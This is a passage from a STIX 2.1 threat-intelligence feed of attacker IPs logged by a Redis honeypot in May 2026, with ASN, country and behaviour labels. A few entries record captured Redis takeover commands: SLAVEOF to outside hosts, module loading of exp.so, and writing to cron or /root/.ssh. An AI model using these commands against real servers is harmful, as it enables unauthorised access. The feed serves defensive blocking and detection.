      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--c9d3ff3e-8217-42ba-b8f1-d376d149894a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:25:10.000Z",
      "valid_until": "2026-06-14T16:25:09.000Z"
    },
    {
      "created": "2026-05-13T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--1a77d07a-ba8f-4cbb-845f-33a9c4ab9a5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:25:10.000Z",
      "valid_until": "2026-06-14T18:25:09.000Z"
    },
    {
      "created": "2026-05-13T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--ba01c725-d0a1-4de0-82b5-c2250ef80994",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:25:10.000Z",
      "valid_until": "2026-06-14T18:25:09.000Z"
    },
    {
      "created": "2026-05-13T19:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=35; ports=6379; cc=US; asn=26827; asn_org=EPB Fiber Optics; redis_cmds=SLAVEOF 164.52.217.152 60111,config set dir /var/spool/cron/,config set rdbcompression no,config set rdbcompression yes,MODULE LOAD /tmp/exp.so; redis_cmd_hits=0; cmd=\"config set dbfilename dump.rdb\"",
      "id": "indicator--5da28e69-237c-43dc-97b5-e86bf3faa13c",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-13T19:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '204.93.116.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:25:09.000Z",
      "valid_until": "2026-06-14T19:25:08.000Z"
    },
    {
      "created": "2026-05-13T19:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--88d323b7-673b-42d7-ab6d-a1720a6f2a92",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T19:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:25:09.000Z",
      "valid_until": "2026-06-14T19:25:08.000Z"
    },
    {
      "created": "2026-05-13T19:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=28; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:25:09.000Z",
      "valid_until": "2026-06-14T19:25:08.000Z"
    },
    {
      "created": "2026-05-13T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--e9961e51-732b-419c-97f2-f69d67492e8b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-13T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.142.178.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:25:10.000Z",
      "valid_until": "2026-06-14T20:25:09.000Z"
    },
    {
      "created": "2026-05-13T22:25:53.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=41; ports=6379; cc=CN; asn=134760; asn_org=Shijiazhuang IDC network, CHINANET Hebei province; cats=Misc activity; redis_cmds=CONFIG SET dbfilename exp.so,config set dbfilename authorized_keys,config set dir /root/.ssh/,MODULE LOAD /tmp/exp.so,SLAVEOF 47.237.100.236 60144; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--1ef6efd2-c6c4-4f71-8da2-eda9126ca02f",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-13T22:25:53.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '124.236.108.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:25:53.000Z",
      "valid_until": "2026-06-14T22:25:08.000Z"
    },
    {
      "created": "2026-05-14T00:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--f6a2ae48-3b36-4894-bf8c-791d82d58996",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.33.73.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:25:04.000Z",
      "valid_until": "2026-06-15T00:25:03.000Z"
    },
    {
      "created": "2026-05-14T00:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--a79512a6-01ad-4462-9425-099d7b32038a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-14T00:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.172.136.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:25:04.000Z",
      "valid_until": "2026-06-15T00:25:03.000Z"
    },
    {
      "created": "2026-05-14T00:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--cfddc57c-0ca0-4ca6-8f89-09c8b2ab8f3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T00:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T00:25:04.000Z",
      "valid_until": "2026-06-15T00:25:03.000Z"
    },
    {
      "created": "2026-05-14T02:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--bd77ebd7-efcf-43ed-9632-57abee05a15a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.83.27.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:25:05.000Z",
      "valid_until": "2026-06-15T02:25:03.000Z"
    },
    {
      "created": "2026-05-14T02:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--a4a4535e-5c46-4324-875b-d98b6205f85e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.240.223.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:25:05.000Z",
      "valid_until": "2026-06-15T02:25:03.000Z"
    },
    {
      "created": "2026-05-14T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--7508e8f5-990e-4868-ab18-07096e99fee3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.202.118.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:25:10.000Z",
      "valid_until": "2026-06-15T06:25:10.000Z"
    },
    {
      "created": "2026-05-14T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--d0083ace-0584-494f-870a-9aa6ba937c52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.210.150.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:25:10.000Z",
      "valid_until": "2026-06-15T06:25:10.000Z"
    },
    {
      "created": "2026-05-14T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:25:10.000Z",
      "valid_until": "2026-06-15T07:25:09.000Z"
    },
    {
      "created": "2026-05-14T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--39da7748-621a-47b0-8c61-3449eb975f7a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-14T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T07:25:10.000Z",
      "valid_until": "2026-06-15T07:25:09.000Z"
    },
    {
      "created": "2026-05-14T08:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=PH; asn=9658; asn_org=Eastern Telecoms Phils., Inc.; redis_cmd_hits=0",
      "id": "indicator--a988514a-c4e0-46a9-a019-54119250e1df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '180.232.31.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:25:15.000Z",
      "valid_until": "2026-06-15T08:25:11.000Z"
    },
    {
      "created": "2026-05-14T08:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=49; ports=6379; cc=US; asn=138915; asn_org=Kaopu Cloud HK Limited; redis_cmd_hits=0",
      "id": "indicator--4c6a09b2-9be5-4776-b235-70661563e768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T08:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '38.54.40.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:25:15.000Z",
      "valid_until": "2026-06-15T08:25:11.000Z"
    },
    {
      "created": "2026-05-14T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=141998; asn_org=China Telecom; redis_cmd_hits=0",
      "id": "indicator--5dbe1268-4f10-4bcd-aa4f-ea2a6a33e027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '125.74.55.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T09:25:10.000Z",
      "valid_until": "2026-06-15T09:25:09.000Z"
    },
    {
      "created": "2026-05-14T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--daf20cbe-60ba-41c9-806c-88eda990316c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-14T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.168.34.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T10:25:11.000Z",
      "valid_until": "2026-06-15T10:25:09.000Z"
    },
    {
      "created": "2026-05-14T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=DE; asn=24940; asn_org=Hetzner Online GmbH; redis_cmd_hits=0",
      "id": "indicator--726b5c4a-875e-4a07-a2ab-035ecdfa9494",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-14T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.132.183.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T11:25:10.000Z",
      "valid_until": "2026-06-15T11:25:09.000Z"
    },
    {
      "created": "2026-05-14T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Generic Protocol Command Decode; redis_cmds=GET //.env HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--ea2bdae1-4599-4aa5-9800-c4722af257fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.230.86.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:25:10.000Z",
      "valid_until": "2026-06-15T13:25:09.000Z"
    },
    {
      "created": "2026-05-14T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--36b88e9b-210b-4e54-8f9f-4d4ef76c626b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.227.161.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T13:25:10.000Z",
      "valid_until": "2026-06-15T13:25:09.000Z"
    },
    {
      "created": "2026-05-14T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--975531ce-ce6e-473b-b93f-89dc60ab1d78",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-14T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.107.161.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T15:25:10.000Z",
      "valid_until": "2026-06-15T15:25:09.000Z"
    },
    {
      "created": "2026-05-14T23:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=MY; asn=45839; asn_org=Shinjiru Technology Sdn Bhd; redis_cmd_hits=0",
      "id": "indicator--ca99a0e3-f4af-47f9-844a-6e8ff15715e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T23:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '111.90.139.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T23:25:04.000Z",
      "valid_until": "2026-06-15T23:25:03.000Z"
    },
    {
      "created": "2026-05-15T02:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--c4d073fe-38a1-461f-942e-c24e1eff2e0b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T02:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.22.176.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T02:25:11.000Z",
      "valid_until": "2026-06-16T02:25:10.000Z"
    },
    {
      "created": "2026-05-15T03:25:57.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--c4143c81-ca52-4a5e-b429-ebc75490dbe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T03:25:57.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T03:25:57.000Z",
      "valid_until": "2026-06-16T03:25:09.000Z"
    },
    {
      "created": "2026-05-15T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=SE; asn=42708; asn_org=Glesys AB; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--78eea6f2-2d12-4b70-8915-c5f611a59442",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.198.249.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:25:10.000Z",
      "valid_until": "2026-06-16T04:25:09.000Z"
    },
    {
      "created": "2026-05-15T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=22; ports=6379; cc=IT; asn=12552; asn_org=GlobalConnect AB; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--e9dac137-3539-42aa-a55b-a065002ddaf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '83.140.108.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T04:25:10.000Z",
      "valid_until": "2026-06-16T04:25:09.000Z"
    },
    {
      "created": "2026-05-15T05:25:26.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--4f5dc13a-c388-4e35-b068-03f60fc05962",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T05:25:26.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.16.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:25:26.000Z",
      "valid_until": "2026-06-16T05:25:09.000Z"
    },
    {
      "created": "2026-05-15T05:25:26.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--f5506400-04cc-4d41-ba59-139686288e8c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T05:25:26.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.136.191.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T05:25:26.000Z",
      "valid_until": "2026-06-16T05:25:09.000Z"
    },
    {
      "created": "2026-05-15T06:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=59078; asn_org=Yunify Technologies Inc.; redis_cmd_hits=0",
      "id": "indicator--36a83e2d-8b69-4473-ae65-8bc90650f71d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T06:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '139.198.30.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T06:25:12.000Z",
      "valid_until": "2026-06-16T06:25:09.000Z"
    },
    {
      "created": "2026-05-15T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:25:10.000Z",
      "valid_until": "2026-06-16T07:25:09.000Z"
    },
    {
      "created": "2026-05-15T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e0e6067f-3dca-4acb-854f-b8b5a42c592a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T07:25:10.000Z",
      "valid_until": "2026-06-16T07:25:09.000Z"
    },
    {
      "created": "2026-05-15T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=11; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--b1d57df3-06a6-4370-a1ae-d6e93b24436b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '121.40.174.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T11:25:10.000Z",
      "valid_until": "2026-06-16T11:25:09.000Z"
    },
    {
      "created": "2026-05-15T12:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--1d40dca7-1f15-4c20-bc4a-276015e5e31d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '111.113.89.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:25:06.000Z",
      "valid_until": "2026-06-16T12:25:04.000Z"
    },
    {
      "created": "2026-05-15T12:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--c9d4bfbe-53fa-47d2-b965-d52d0f862d22",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-15T12:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '124.117.193.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:25:06.000Z",
      "valid_until": "2026-06-16T12:25:04.000Z"
    },
    {
      "created": "2026-05-15T12:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=DE; asn=24940; asn_org=Hetzner Online GmbH; redis_cmds=CONFIG GET dir,CONFIG SET dir /tmp; redis_cmd_hits=0; cmd=\"CONFIG SET dir /tmp\"",
      "id": "indicator--529f81d4-76bc-4f61-9086-08aaf3f84d7b",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-15T12:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
